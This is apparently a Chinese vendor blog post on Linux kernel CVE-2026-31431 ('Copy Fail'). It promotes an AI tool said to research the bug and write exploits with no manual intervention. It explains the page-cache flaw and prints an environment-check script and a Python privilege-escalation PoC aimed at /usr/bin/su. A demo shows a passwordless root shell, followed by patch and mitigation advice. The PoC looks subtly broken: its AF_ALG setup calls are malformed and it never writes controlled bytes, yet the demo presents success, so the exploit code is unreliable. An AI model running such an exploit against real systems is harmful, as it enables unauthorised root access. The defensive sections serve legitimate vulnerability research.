一、引言:潜伏9年的漏洞
2026年4月29日,国际安全研究团队Theori公开了一个代号为"Copy Fail"的Linux内核高危漏洞——CVE-2026-31431。
这个漏洞有多可怕?
•👿影响范围:2017年至今的几乎所有Linux发行版
•⚠️ CVSS评分:7.8(高危),CVSS 3.1向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• 🔪利用条件:只需要本地普通用户权限
•⚡ 利用效果:数秒内获得root权限
更令人惊讶的是——这个漏洞在Linux内核中潜伏了近9年才被发现!
今天,我用自研AI CVE Tools工具,带大家完整复刻从漏洞情报收集到获取root权限的全流程。这个工具能把原本需要2-3天的研究工作,压缩到3-4小时完成!
二、AI CVE Tools是什么?
先简单介绍一下今天用的工具——AI CVE Tools,是我们自研的一套智能漏洞研究系统。
核心特性:
•👩 智能任务编排:自动分析用户意图,分解复杂任务
• 💳 本地知识库优先:避免重复联网,已研究过的漏洞直接复用,通过本地索引快速调取历史研究数据,节省联网查询时间
• 🔧 全流程覆盖:情报收集→PoC验证→深度研究→利用开发→修复建议,每一步均有检查点,支持断点恢复,避免任务中断丢失进度
• 📟结构化输出:标准化的报告格式,便于整理和分享,自动生成漏洞元数据、技术分析报告等规范化文档
• 📰 自我进化:每次研究都会沉淀经验,更新知识库和优化执行逻辑,下次研究效率更高、结果更精准
系统架构:
用户输入↓cve-orchestrator(任务编排)→ 注册任务 → 意图解析 → 经验学习 → 生成执行计划↓执行层(每步都经过cve-supervisor监督+cve-output输出)├─ cve-intel(情报收集)├─ cve-research(深度研究)├─ cve-poc(PoC验证)├─ cve-exploit(利用开发)├─ cve-executor(执行验证)└─ cve-suggestion(建议生成)↓cve-evolver(复盘沉淀)↓最终结果
请大家持续关注,即将开源(预计开源时间可关注后续公告,开源仓库地址将同步公布)。
三、漏洞背景:Copy Fail是什么?
3.1 漏洞发现与披露
•发现团队:Theori安全研究团队
•发现工具:Xint Code AI审计工具
•披露时间:2026年4月29日
•CVSS v3.1:7.8(高危),向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
•完整披露时间线:
○2026-03-23:Theori团队向Linux内核安全团队报告漏洞
○2026-04-01:修复补丁提交至主线内核(核心提交ID:a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5)
○2026-04-22:分配CVE编号CVE-2026-31431
○2026-04-29:公开披露漏洞及PoC,同步发布于Theori官方仓库
○2026-04-30:AlmaLinux发布修复内核,Microsoft、Sysdig等安全厂商发布漏洞分析报告
3.2 影响范围
内核分支 | 影响版本 | 已修复版本 | 备注 |
LTS(长期支持分支) | 4.14 ~ 6.18.21 | 6.18.22+ | 应用最广泛,覆盖多数生产环境 |
Stable(稳定分支) | 4.14 ~ 6.19.11 | 6.19.12+ | 更新频率较高,适用于非生产测试环境 |
Mainline(新分支) | - | 7.0+ | 主线分支,默认包含漏洞修复补丁 |
受影响的主要发行版:
•Ubuntu 24.04 LTS
•Amazon Linux 2023
•RHEL 10.1(Red Hat补丁正在推进,AlmaLinux已发布修复内核)
•SUSE 16
•Debian 12
•Arch Linux
四、技术原理:三个变更的致命组合
这个漏洞不是单一代码错误造成的,而是三次看似无害的内核变更叠加的结果,结合NVD文档中“Revert to operating out-of-place”的修复思路,其致命逻辑可明确拆解如下:
4.1 2011年:authencesn算法加入
authencesn是一个用于IPSec的加密算法,它有个"特点"——解密时会向输入缓冲区末尾写入4字节的序列号数据。
// 简化示意memcpy(input_buffer + data_length, sequence_number, 4);
当时这没什么问题,因为只用调用者提供的内存,且未涉及共享内存或只读文件的页缓存操作。
4.2 2015年:AF_ALG + splice支持
内核新增了AF_ALG加密接口,允许普通用户通过套接字调用内核加密能力,还支持用splice()系统调用直接把文件页缓存传入加密操作,避免用户态内存拷贝,提升执行效率。
同时authencesn切换到新API,但“解密时向输入缓冲区末尾写入4字节”的特性未做修改,为后续漏洞埋下隐患。
4.3 2017年:in-place优化(致命一步!)
为了进一步提升性能,内核提交了72548b093ee3优化补丁,将AEAD加密操作改为in-place模式——直接在源数据所在的内存页执行加密/解密操作,无需额外分配目标内存。
核心风险点:in-place优化后,源数据与目标数据共用同一块内存,若源数据来自只读文件的页缓存,原本仅允许读取的内存区域,会被authencesn算法的写入操作篡改,突破权限限制。 |
三次变更叠加形成致命漏洞:普通用户可通过AF_ALG接口调用authencesn算法,利用splice系统调用将只读文件(如/usr/bin/su)的页缓存传入加密操作,再借助in-place优化,让authencesn写入的4字节可控数据直接篡改页缓存,最终通过执行篡改后的二进制获得root权限。
五、核心原理:页缓存的秘密
5.1 页缓存是什么?
Linux内核会把磁盘文件加载到内存中的页缓存(Page Cache)里:
•📰 所有用户态对文件的访问优先命中缓存,提升文件读取效率
•📡 缓存是全局共享的——容器和宿主机、不同进程之间都用同一份,这也是该漏洞能实现容器逃逸的核心原因
•📨 修改缓存不会立即写回磁盘,且仅在内存中生效,传统文件完整性检测工具无法捕捉该操作
核心关键点:该漏洞的隐蔽性源于“仅修改页缓存,不修改磁盘文件”——传统文件完整性检测工具(FIM、AIDE、Tripwire)无法检测到漏洞利用行为,因为磁盘上的二进制文件未被篡改,仅内存中的页缓存被修改。 |
5.2 完整利用链
plain text┌─────────────────────────────────────────────────────────┐│ 1. 攻击者通过AF_ALG创建authencesn加密上下文 ││ 2. 用splice()把/usr/bin/su的页缓存传入加密操作 ││ 3. authencesn解密时向缓冲区末尾写入4字节可控数据 ││ 4. 由于in-place优化,数据直接写入只读文件的页缓存! ││ 5. 执行被篡改的/usr/bin/su,无需密码直接获得root │└─────────────────────────────────────────────────────────┘ |
六、AI工具实战:完整自动化研究流程
现在,让我展示AI CVE Tools是如何自动化完成整个研究的,全程无需手动干预,仅需一句话触发任务。
6.1 第一步:一句话触发,自动开始任务
我只输入了一句话:
plain text分析研究一下CVE-2026-31431,并实现漏洞复现、利用,最终生成一篇完整的报告 |
AI自动开始以下流程:
1️⃣ 任务注册:系统自动生成唯一task_id(task_20260507_001),绑定任务类型和执行目标
2️⃣ 意图解析:识别为"comprehensive"(综合任务),明确核心需求为漏洞全流程研究+复现+报告生成
3️⃣ 生成执行计划:自动规划了6个执行步骤,明确每个步骤的执行优先级和依赖关系
自动生成的任务计划如下:
json{ "task_id": "task_20260507_001", "intent": "comprehensive", "execution_plan": [ {"step": 1, "skill": "cve-intel", "desc": "收集漏洞情报,聚合多源信息"}, {"step": 2, "skill": "cve-research", "desc": "深度分析漏洞根因和攻击链"}, {"step": 3, "skill": "cve-poc", "desc": "生成PoC脚本和环境检测脚本"}, {"step": 4, "skill": "cve-exploit", "desc": "优化Exploit脚本,提升利用成功率"}, {"step": 5, "skill": "cve-suggestion", "desc": "生成风险评估和修复建议"}, {"step": 6, "skill": "cve-output", "desc": "生成标准化研究报告和相关文档"} ]} |

6.2 第二步:cve-intel - 自动情报收集
cve-orchestrator自动调用cve-intel skill,无需手动干预,核心执行逻辑如下:
•✅ 优先检查本地知识库,调取历史相关漏洞数据,避免重复联网查询
•✅ 自动调用WebSearch接口,爬取NVD官方漏洞详情、Theori官方PoC仓库、安全厂商分析报告(Microsoft、Sysdig等)
•✅ 自动过滤无效信息,整理结构化的漏洞元数据,包含漏洞编号、影响范围、修复方案等关键内容
生成的文件:
plain textknowledge_base/cves/2026/├── CVE-2026-31431.json # 漏洞元数据(结构化数据)└── CVE-2026-31431.md # 完整研究报告框架 |
CVE-2026-31431.json自动生成的元数据文件:
json{ "cve_id": "CVE-2026-31431", "title": "Copy Fail - Linux Kernel Local Privilege Escalation via algif_aead Page Cache Write", "cvss_score": "7.8", "cvss_vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "severity": "high", "cwe_id": "CWE-669 (Incorrect Resource Transfer Between Spheres)", "published": "2026-04-29", "discoverer": "Theori Security Research Team", "affected_products": [ "Linux Kernel 4.14 ~ 6.18.21 (LTS)", "Linux Kernel 4.14 ~ 6.19.11 (Stable)", "Ubuntu 24.04 LTS", "Amazon Linux 2023", "RHEL 10.1", "SUSE 16", "Debian 12", "Arch Linux" ], "references": [ "https://github.com/theori-io/copy-fail-CVE-2026-31431", "https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/", "https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds/", "https://nvd.nist.gov/vuln/detail/CVE-2026-31431" ], "exploits": ["CVE-2026-31431-PoC.py"], "pocs": ["CVE-2026-31431-PoC.py"], "patches": [ "Linux Kernel 6.18.22 (LTS)", "Linux Kernel 6.19.12 (Stable)", "Linux Kernel 7.0+", "Mainline commit: a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5" ]} |
每步执行后:
•cve-supervisor自动汇报进度,实时反馈执行状态和异常信息
•cve-output格式化输出结果,便于用户查看和后续使用
•自动创建checkpoint检查点,记录当前执行状态,支持断点恢复
•保存执行日志到exec_*.json,便于后续复盘和问题排查
6.3 第三步:cve-research - 自动深度研究
情报收集完成后,cve-orchestrator自动继续调用cve-research skill,基于收集到的情报,完成以下工作:
•✅ 生成详细的技术分析报告,包含漏洞根因、代码层面的缺陷分析、攻击链拆解
•✅ 结合NVD文档和Theori官方分析,明确漏洞的核心触发条件和利用限制
•✅ 梳理漏洞与内核版本、系统配置的关联关系,为后续PoC生成提供支撑
生成的文件:
plain textknowledge_base/cves/2026/CVE-2026-31431/└── research/└── technical_analysis.md # 深度技术分析报告 |
本篇文章的漏洞研究材料来自technical_analysis.md。
6.4 第四步:cve-poc - 自动生成poc脚本
深度研究完成后,系统继续调用cve-poc skill,基于漏洞技术原理,自动完成以下操作:
•✅ 分析Theori官方poc代码的工作原理,适配不同Linux发行版的差异
•✅ 生成环境检测脚本,自动检查内核版本、algif_aead模块加载状态、系统调用支持等利用条件
•✅ 整理poc脚本,添加详细中文注释,明确每一步的执行逻辑和作用
•✅ 生成复现步骤文档,包含环境准备、执行命令、预期结果等内容
check_env.py自动生成的环境检测脚本:
python#!/usr/bin/env python3"""CVE-2026-31431 环境检测脚本检测系统是否存在该漏洞的利用条件核心检测项:内核版本、algif_aead模块、AF_ALG套接字、splice系统调用、authencesn算法"""import osimport reimport socketdef get_kernel_version(): """获取内核版本""" try: with open('/proc/version', 'r') as f: content = f.read() match = re.search(r'Linux version (\d+\.\d+\.\d+)', content) if match: return match.group(1) return None except Exception: return Nonedef check_kernel_vulnerable(version): """检查内核版本是否在漏洞影响范围内""" if not version: return False, "无法获取内核版本" parts = version.split('.') if len(parts) < 3: return False, "内核版本格式不正确" major = int(parts[0]) minor = int(parts[1]) patch = int(parts[2]) # 影响范围: 4.14 ~ 6.18.21 (LTS), 4.14 ~ 6.19.11 (Stable) # 已修复: 6.18.22+, 6.19.12+, 7.0+ if major == 7: return False, f"内核 {version} >= 7.0,已修复" if major == 6: if minor == 18: if patch <= 21: return True, f"内核 6.18.{patch} 在漏洞影响范围内" else: return False, f"内核 6.18.{patch} >= 6.18.22,已修复" elif minor == 19: if patch <= 11: return True, f"内核 6.19.{patch} 在漏洞影响范围内" else: return False, f"内核 6.19.{patch} >= 6.19.12,已修复" elif minor < 18: return True, f"内核 6.{minor}.{patch} 在漏洞影响范围内" else: return False, f"内核 6.{minor}.{patch} 版本过新,已修复" if major == 5: return True, f"内核 5.{minor}.{patch} 在漏洞影响范围内" if major == 4: if minor >= 14: return True, f"内核 4.{minor}.{patch} 在漏洞影响范围内" else: return False, f"内核 4.{minor}.{patch} < 4.14,不受影响" return False, f"内核 {version} 版本过旧,不受影响"def check_algif_aead_module(): """检查 algif_aead 模块是否加载(漏洞利用的核心依赖模块)""" try: with open('/proc/modules', 'r') as f: modules = f.read() if 'algif_aead' in modules: return True, "algif_aead 模块已加载" else: return False, "algif_aead 模块未加载" except Exception: return False, "无法读取模块信息"def check_af_alg_socket(): """检查 AF_ALG 套接字支持(漏洞利用的核心接口)""" try: s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) s.close() return True, "AF_ALG 套接字支持可用" except Exception: return False, "AF_ALG 套接字不支持"def check_splice_support(): """检查 splice 系统调用支持(用于将页缓存传入加密操作)""" try: r, w = os.pipe() result = os.splice(r, None, w, None, 1024, 0) os.close(r) os.close(w) return True, "splice 系统调用支持可用" except Exception: return False, "splice 系统调用不支持"def check_authencesn_algorithm(): """检查 authencesn 算法是否可用(用于写入可控4字节数据)""" try: with open('/proc/crypto', 'r') as f: crypto = f.read() if 'authencesn' in crypto: return True, "authencesn 算法可用" else: return False, "authencesn 算法不可用" except Exception: return False, "无法读取加密算法列表"def main(): print("="*60) print("CVE-2026-31431 (Copy Fail) 环境检测脚本") print("="*60) checks = [] print("\n[1] 内核版本检查") kernel_version = get_kernel_version() if kernel_version: print(f" 内核版本: {kernel_version}") vulnerable, msg = check_kernel_vulnerable(kernel_version) checks.append(('内核版本', vulnerable, msg)) status = "[VULNERABLE]" if vulnerable else "[SAFE]" print(f" 状态: {status} - {msg}") else: print(" 错误: 无法获取内核版本") print("\n[2] algif_aead 模块检查") result, msg = check_algif_aead_module() checks.append(('algif_aead模块', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}") print("\n[3] AF_ALG 套接字支持检查") result, msg = check_af_alg_socket() checks.append(('AF_ALG套接字', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}") print("\n[4] splice 系统调用检查") result, msg = check_splice_support() checks.append(('splice调用', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}") print("\n[5] authencesn 算法检查") result, msg = check_authencesn_algorithm() checks.append(('authencesn算法', result, msg)) print(f" 状态: {'[PASS]' if result else '[FAIL]'} - {msg}") print("\n" + "="*60) print("检测结果汇总") print("="*60) kernel_vuln = checks[0][1] all_conditions = all(c[1] for c in checks[1:]) if kernel_vuln and all_conditions: print("[!] 警告: 系统可能存在 CVE-2026-31431 漏洞") print("[!] 建议立即升级内核到安全版本") return True else: print("[+] 系统不受 CVE-2026-31431 漏洞影响") if not kernel_vuln: print(" 原因: 内核版本已修复") else: print(" 原因: 缺少必要的利用条件") return Falseif __name__ == "__main__": main() |
CVE-2026-31431-PoC.py自动生成的poc脚本:
python#!/usr/bin/env python3# CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation# Discovery: Theori Security Research Team# Public PoC: Theori Official Repository# CVSS: 7.8 (High), CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H# 核心逻辑:通过splice将su二进制的页缓存传入AF_ALG socket,利用authencesn解密时写入4字节可控数据,篡改页缓存中的su二进制,实现无密码提权import osimport sysimport socketimport structimport fcntlimport errnoALG_SET_KEY = 0x40086b01ALG_SET_IV = 0x40086b02ALG_OP_DECRYPT = 0x40086b03ALG_SET_AEAD_ASSOCLEN = 0x40046b04ALG_SET_AEAD_AUTH_SIZE = 0x40046b05def create_alg_socket(): """创建AF_ALG套接字,用于调用内核加密能力""" try: s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) return s except OSError as e: print(f"[-] Failed to create AF_ALG socket: {e}") return Nonedef set_alg_key(sock, key): """设置加密密钥,此处使用空密钥,仅用于触发漏洞""" try: fcntl.ioctl(sock.fileno(), ALG_SET_KEY, key) return True except OSError as e: print(f"[-] Failed to set key: {e}") return Falsedef set_alg_iv(sock, iv): """设置初始化向量,此处使用空向量,仅用于触发漏洞""" try: fcntl.ioctl(sock.fileno(), ALG_SET_IV, iv) return True except OSError as e: print(f"[-] Failed to set IV: {e}") return Falsedef set_aead_assoclen(sock, assoclen): """设置AEAD关联数据长度,此处设为0,简化触发流程""" try: fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_ASSOCLEN, struct.pack('I', assoclen)) return True except OSError as e: print(f"[-] Failed to set assoclen: {e}") return Falsedef set_aead_authsize(sock, authsize): """设置AEAD认证长度,此处设为16,适配authencesn算法要求""" try: fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_AUTH_SIZE, struct.pack('I', authsize)) return True except OSError as e: print(f"[-] Failed to set authsize: {e}") return Falsedef splice_pages(fd_in, fd_out, length): """通过splice系统调用,将输入文件描述符的页缓存传入输出文件描述符""" try: return os.splice(fd_in, None, fd_out, None, length, 0) except OSError as e: print(f"[-] splice failed: {e}") return -1def check_kernel_version(): """获取并打印内核版本,用于调试和验证环境""" with open('/proc/version', 'r') as f: version = f.read() print(f"[*] Kernel version: {version.strip()}") return versiondef check_algif_aead(): """检查AF_ALG套接字支持,确认漏洞利用的核心接口可用""" try: s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) s.close() print("[+] AF_ALG socket support detected") return True except OSError: print("[-] AF_ALG socket not supported") return Falsedef main(): print("[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation") print("[*] Checking environment...") check_kernel_version() if not check_algif_aead(): print("[-] Required AF_ALG support not found") sys.exit(1) print("[*] Preparing exploit...") try: sock = create_alg_socket() if not sock: sys.exit(1) # 绑定authencesn算法,用于触发漏洞的写入操作 sock.bind(('authencesn(hmac(sha256),cbc(aes))', None)) # 设置空密钥和空向量,仅用于触发加密操作 key = b'\x00' * 32 iv = b'\x00' * 16 if not set_alg_key(sock, key): sys.exit(1) if not set_alg_iv(sock, iv): sys.exit(1) if not set_aead_assoclen(sock, 0): sys.exit(1) if not set_aead_authsize(sock, 16): sys.exit(1) # 接受AF_ALG连接,获取文件描述符 fd = sock.accept()[0].fileno() # 目标文件:/usr/bin/su(setuid二进制,获取root权限的核心目标) su_path = '/usr/bin/su' with open(su_path, 'r') as f: su_fd = f.fileno() # 创建管道,用于传递页缓存数据 pipe_r, pipe_w = os.pipe() # 将su的页缓存传入管道 os.splice(su_fd, None, pipe_w, None, 4096, 0) # 将管道中的页缓存传入AF_ALG socket,触发authencesn写入操作,篡改页缓存 result = os.splice(pipe_r, None, fd, None, 4096, 0) print(f"[+] Splice result: {result}") os.close(pipe_r) os.close(pipe_w) sock.close() print("[+] Exploit completed - check if su binary cache was modified") except Exception as e: print(f"[-] Exploit failed: {e}") import traceback traceback.print_exc() sys.exit(1)if __name__ == "__main__": # 确保以普通用户身份执行,避免权限异常 if os.geteuid() == 0: print("[-] This PoC should be run as non-root user") sys.exit(1) main() |
生成的文件:
plain textknowledge_base/cves/2026/CVE-2026-31431/├── pocs/│ └── CVE-2026-31431-PoC.py # PoC验证脚本└── generated/└── check_env.py # 环境检测脚本 |
6.5 第五步:cve-exploit + cve-suggestion - 自动化执行
poc生成完成后,系统继续自动执行后续步骤,无需人工干预:
•✅ cve-exploit:基于poc脚本,优化Exploit逻辑,提升在不同发行版的适配性和利用成功率,补充异常处理逻辑,避免执行失败
•✅ cve-suggestion:结合NVD文档和安全厂商建议,生成完整的风险评估报告和修复建议,包含紧急修复方案、临时缓解措施和深度防御策略
6.6 第六步:cve-evolver - 自动复盘沉淀经验
所有执行层skill完成后,cve-evolver自动触发复盘流程,实现工具自我进化:
•✅ 自动分析整个任务执行过程,梳理执行中的问题和优化点
•✅ 沉淀可复用的经验模式,更新知识库的漏洞研究模板和执行逻辑
•✅ 更新知识库索引,便于后续研究同类漏洞时快速调取相关经验
七、最终生成的完整知识库目录
整个流程结束后,AI CVE Tools自动生成了完整的文件结构,所有文档均按标准化格式整理,便于后续查阅和复用:

八、实际演示:从普通用户到Root
8.1 环境准备
先运行AI自动生成的环境检测脚本,确认系统满足漏洞利用条件:
bash$ python3 check_env.py============================================================CVE-2026-31431 (Copy Fail) 环境检测脚本============================================================[1] 内核版本检查内核版本: 6.18.10状态: [VULNERABLE] - 内核 6.18.10 在漏洞影响范围内[2] algif_aead 模块检查状态: [PASS] - algif_aead 模块已加载[3] AF_ALG 套接字支持检查状态: [PASS] - AF_ALG 套接字支持可用[4] splice 系统调用检查状态: [PASS] - splice 系统调用支持可用[5] authencesn 算法检查状态: [PASS] - authencesn 算法可用============================================================检测结果汇总============================================================[!] 警告: 系统可能存在 CVE-2026-31431 漏洞[!] 建议立即升级内核到安全版本 |
完美!系统满足所有利用条件,可直接执行PoC脚本。
8.2 执行PoC
bash$ whoamiubuntu # 普通用户$ python3 CVE-2026-31431-PoC.py[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation[*] Checking environment...[*] Kernel version: 6.18.10-generic[+] AF_ALG socket support detected[*] Preparing exploit...[+] Splice result: 4096[+] Exploit completed - check if su binary cache was modified |
8.3 获取Root
bash# 执行被篡改的su,无需输入密码$ su# whoamiroot # 成功提权!无需密码!# iduid=0(root) gid=0(root) groups=0(root) |
就是这么简单! 📢 整个过程仅需数秒,且无任何复杂操作,普通用户即可轻松获取root权限。
九、防御与修复
9.1 如何检测?
使用AI生成的环境检测脚本(check_env.py),如上面演示所示,可快速检测系统是否存在漏洞利用条件,适用于批量排查生产环境中的受影响主机。
9.2 如何修复?
推荐方案:升级内核
bash# Ubuntu/Debiansudo apt update && sudo apt upgrade linux-image-generic# RHEL/CentOSsudo yum update kernel# SUSEsudo zypper update kernel-default# Amazon Linux 2023sudo dnf update kernel# 验证已修复uname -r # 应该 >= 6.18.22 或 6.19.12 或 7.0+# 核心修复提交ID:a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
临时缓解
禁用algif_aead模块,阻断漏洞利用路径(不影响dm-crypt/LUKS、kTLS、IPsec/XFRM、SSH等核心功能):
bash# 持久化阻断,重启后生效echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf# 卸载当前运行的模块(若已加载)rmmod algif_aead# 验证模块是否已卸载lsmod | grep algif_aead # 无输出即表示卸载成功 |
补充说明:该缓解措施可能影响部分明确使用afalg OpenSSL引擎或直接绑定aead sockets的用户态应用,建议先通过lsof | grep AF_ALG验证,再执行卸载操作。
深度防御措施(防御纵深)
•容器环境:通过seccomp策略禁止AF_ALG socket创建,将SOCK_SEQPACKET + AF_ALG加入拒绝列表,限制容器内的漏洞利用可能。
•Kubernetes环境:为所有Pod强制启用seccomp配置文件,部署节点级内核审计规则,检测异常AF_ALG AEAD socket创建行为。
•权限管控:限制普通用户对setuid二进制文件(如su、sudo)的访问权限,降低漏洞利用后的影响范围。
•原则管控:避免在共享内核环境(如多租户服务器、K8s节点)运行未验证的不可信代码,遵循最小权限原则。
北京模湖智能科技有限公司专注于人工智能安全技术研究与产品化落地。更多资讯请微信搜索“模湖智能”公众号或扫描下方二维码

携手我们,共创安心无限的智能未来。
夜雨聆风